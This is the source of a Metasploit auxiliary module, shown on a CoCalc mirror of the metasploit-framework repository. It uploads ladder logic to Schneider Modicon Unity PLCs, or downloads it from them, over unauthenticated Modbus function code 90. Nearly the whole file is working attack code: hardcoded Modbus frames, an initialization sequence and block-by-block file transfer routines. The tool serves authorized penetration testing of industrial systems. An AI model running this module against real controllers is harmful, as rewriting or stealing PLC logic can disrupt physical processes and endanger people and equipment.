CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/scada/modicon_stux_transfer.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Rex::Socket::Tcp
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'Schneider Modicon Ladder Logic Upload/Download',
13
'Description' => %q{
14
The Schneider Modicon with Unity series of PLCs use Modbus function
15
code 90 (0x5a) to send and receive ladder logic. The protocol is
16
unauthenticated, and allows a rogue host to retrieve the existing
17
logic and to upload new logic.
18
19
Two modes are supported: "SEND" and "RECV," which behave as one might
20
expect -- use 'set mode ACTIONAME' to use either mode of operation.
21
22
In either mode, FILENAME must be set to a valid path to an existing
23
file (for SENDing) or a new file (for RECVing), and the directory must
24
already exist. The default, 'modicon_ladder.apx' is a blank
25
ladder logic file which can be used for testing.
26
27
This module is based on the original 'modiconstux.rb' Basecamp module from
28
DigitalBond.
29
},
30
'Author' =>
31
[
32
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
33
'todb' # Metasploit fixups
34
],
35
'License' => MSF_LICENSE,
36
'References' =>
37
[
38
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
39
],
40
'DisclosureDate' => '2012-04-05'
41
))
42
43
register_options(
44
[
45
OptString.new('FILENAME',
46
[
47
true,
48
"The file to send or receive",
49
File.join(Msf::Config.data_directory, "exploits", "modicon_ladder.apx")
50
]),
51
OptEnum.new("MODE", [true, 'File transfer operation', "SEND",
52
[
53
"SEND",
54
"RECV"
55
]
56
]),
57
Opt::RPORT(502)
58
])
59
60
end
61
62
def run
63
unless valid_filename?
64
print_error "FILENAME invalid: #{datastore['FILENAME'].inspect}"
65
return nil
66
end
67
@modbuscounter = 0x0000 # used for modbus frames
68
connect
69
init
70
case datastore['MODE']
71
when "SEND"
72
writefile
73
when "RECV"
74
readfile
75
end
76
end
77
78
def valid_filename?
79
if datastore['MODE'] == "SEND"
80
File.readable? datastore['FILENAME']
81
else
82
File.writable?(File.split(datastore['FILENAME'])[0].to_s)
83
end
84
end
85
86
# this is used for building a Modbus frame
87
# just prepends the payload with a modbus header
88
def makeframe(packetdata)
89
if packetdata.size > 255
90
print_error("#{rhost}:#{rport} - MODBUS - Packet too large: #{packetdata.inspect}")
91
return
92
end
93
payload = ""
94
payload += [@modbuscounter].pack("n")
95
payload += "\x00\x00\x00" #dunno what these are
96
payload += [packetdata.size].pack("c") # size byte
97
payload += packetdata
98
end
99
100
# a wrapper just to be sure we increment the counter
101
def sendframe(payload)
102
sock.put(payload)
103
@modbuscounter += 1
104
# TODO: Fix with sock.timed_read -- Should make it faster, just need a test.
105
r = sock.recv(65535, 0.1)
106
return r
107
end
108
109
# This function sends some initialization requests
110
# required for priming the Quantum
111
def init
112
payload = "\x00\x5a\x00\x02"
113
sendframe(makeframe(payload))
114
payload = "\x00\x5a\x00\x01\x00"
115
sendframe(makeframe(payload))
116
payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
117
sendframe(makeframe(payload))
118
payload = "\x00\x5a\x00\x03\x00"
119
sendframe(makeframe(payload))
120
payload = "\x00\x5a\x00\x03\x04"
121
sendframe(makeframe(payload))
122
payload = "\x00\x5a\x00\x04"
123
sendframe(makeframe(payload))
124
payload = "\x00\x5a\x00\x01\x00"
125
sendframe(makeframe(payload))
126
payload = "\x00\x5a\x00\x0a\x00"
127
(0..0xf9).each { |x| payload += [x].pack("c") }
128
sendframe(makeframe(payload))
129
payload = "\x00\x5a\x00\x04"
130
sendframe(makeframe(payload))
131
payload = "\x00\x5a\x00\x04"
132
sendframe(makeframe(payload))
133
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
134
sendframe(makeframe(payload))
135
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
136
sendframe(makeframe(payload))
137
payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
138
sendframe(makeframe(payload))
139
payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
140
sendframe(makeframe(payload))
141
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
142
sendframe(makeframe(payload))
143
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
144
sendframe(makeframe(payload))
145
payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
146
sendframe(makeframe(payload))
147
payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
148
sendframe(makeframe(payload))
149
payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
150
sendframe(makeframe(payload))
151
payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
152
sendframe(makeframe(payload))
153
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
154
sendframe(makeframe(payload))
155
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
156
sendframe(makeframe(payload))
157
payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
158
payload += "USER-714E74F21B" # Yep, really
159
#payload += "META-SPLOITMETA"
160
sendframe(makeframe(payload))
161
payload = "\x00\x5a\x01\x04"
162
sendframe(makeframe(payload))
163
payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
164
sendframe(makeframe(payload))
165
payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
166
sendframe(makeframe(payload))
167
payload = "\x00\x5a\x01\x12"
168
sendframe(makeframe(payload))
169
payload = "\x00\x5a\x01\x04"
170
sendframe(makeframe(payload))
171
payload = "\x00\x5a\x01\x12"
172
sendframe(makeframe(payload))
173
payload = "\x00\x5a\x01\x04"
174
sendframe(makeframe(payload))
175
payload = "\x00\x5a\x00\x02"
176
sendframe(makeframe(payload))
177
payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
178
sendframe(makeframe(payload))
179
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
180
sendframe(makeframe(payload))
181
payload = "\x00\x5a\x01\x04"
182
sendframe(makeframe(payload))
183
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
184
sendframe(makeframe(payload))
185
end
186
187
# Write the contents of local file filename to the target's filenumber
188
# blank logic files will be available on the Digital Bond website
189
def writefile
190
print_status "#{rhost}:#{rport} - MODBUS - Sending write request"
191
blocksize = 244 # bytes per block in file transfer
192
buf = File.binread(datastore['FILENAME'])
193
fullblocks = buf.length / blocksize
194
if fullblocks > 255
195
print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.")
196
return
197
end
198
lastblocksize = buf.length - (blocksize*fullblocks)
199
fileblocks = fullblocks
200
if lastblocksize != 0
201
fileblocks += 1
202
end
203
filetype = buf[0..2]
204
if filetype == "APX"
205
filenum = "\x01"
206
elsif filetype == "APB"
207
filenum = "\x10"
208
end
209
payload = "\x00\x5a\x00\x03\x01"
210
sendframe(makeframe(payload))
211
payload = "\x00\x5a\x00\x02"
212
sendframe(makeframe(payload))
213
payload = "\x00\x5a\x01\x04"
214
sendframe(makeframe(payload))
215
payload = "\x00\x5a\x00\x02"
216
sendframe(makeframe(payload))
217
payload = "\x00\x5a\x01\x04"
218
sendframe(makeframe(payload))
219
payload = "\x00\x5a\x00\x58\x02\x01\x00\x00\x00\x00\x00\xfb\x00"
220
sendframe(makeframe(payload))
221
payload = "\x00\x5a\x00\x02"
222
sendframe(makeframe(payload))
223
payload = "\x00\x5a\x01\x30\x00"
224
payload += filenum
225
response = sendframe(makeframe(payload))
226
if response[8..9] == "\x01\xfe"
227
print_status("#{rhost}:#{rport} - MODBUS - Write request success! Writing file...")
228
else
229
print_error("#{rhost}:#{rport} - MODBUS - Write request error. Aborting.")
230
return
231
end
232
payload = "\x00\x5a\x01\x04"
233
sendframe(makeframe(payload))
234
block = 1
235
block2status = 0 # block 2 must always be sent twice
236
while block <= fullblocks
237
payload = "\x00\x5a\x01\x31\x00"
238
payload += filenum
239
payload += [block].pack("c")
240
payload += "\x00\xf4\x00"
241
payload += buf[((block - 1) * 244)..((block * 244) - 1)]
242
res = sendframe(makeframe(payload))
243
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
244
if res[8..9] != "\x01\xfe"
245
print_error("#{rhost}:#{rport} - MODBUS - Failure writing block #{block}")
246
return
247
end
248
# redo this iteration of the loop if we're on block 2
249
if block2status == 0 and block == 2
250
print_status("#{rhost}:#{rport} - MODBUS - Sending block 2 a second time")
251
block2status = 1
252
redo
253
end
254
block += 1
255
end
256
if lastblocksize > 0
257
payload = "\x00\x5a\x01\x31\x00"
258
payload += filenum
259
payload += [block].pack("c")
260
payload += "\x00" + [lastblocksize].pack("c") + "\x00"
261
payload += buf[((block-1) * 244)..(((block-1) * 244) + lastblocksize)]
262
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
263
res = sendframe(makeframe(payload))
264
if res[8..9] != "\x01\xfe"
265
print_error("#{rhost}:#{rport} - MODBUS - Failure writing last block")
266
return
267
end
268
end
269
vprint_status "#{rhost}:#{rport} - MODBUS - Closing file"
270
payload = "\x00\x5a\x01\x32\x00\x01" + [fileblocks].pack("c") + "\x00"
271
sendframe(makeframe(payload))
272
end
273
274
# Only reading the STL file is supported at the moment :(
275
def readfile
276
print_status "#{rhost}:#{rport} - MODBUS - Sending read request"
277
file = File.open(datastore['FILENAME'], 'wb')
278
payload = "\x00\x5a\x01\x33\x00\x01\xfb\x00"
279
response = sendframe(makeframe(payload))
280
print_status("#{rhost}:#{rport} - MODBUS - Retrieving file")
281
block = 1
282
filedata = ""
283
finished = false
284
while !finished
285
payload = "\x00\x5a\x01\x34\x00\x01"
286
payload += [block].pack("c")
287
payload += "\x00"
288
response = sendframe(makeframe(payload))
289
filedata += response[0xe..-1]
290
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{response[0xe..-1].inspect}"
291
if response[0xa] == "\x01" # apparently 0x00 == more data, 0x01 == eof?
292
finished = true
293
else
294
block += 1
295
end
296
end
297
print_status("#{rhost}:#{rport} - MODBUS - Closing file")
298
payload = "\x00\x5a\x01\x35\x00\x01" + [block].pack("c") + "\x00"
299
sendframe(makeframe(payload))
300
file.print filedata
301
file.close
302
end
303
304
def cleanup
305
disconnect rescue nil
306
end
307
end
308
309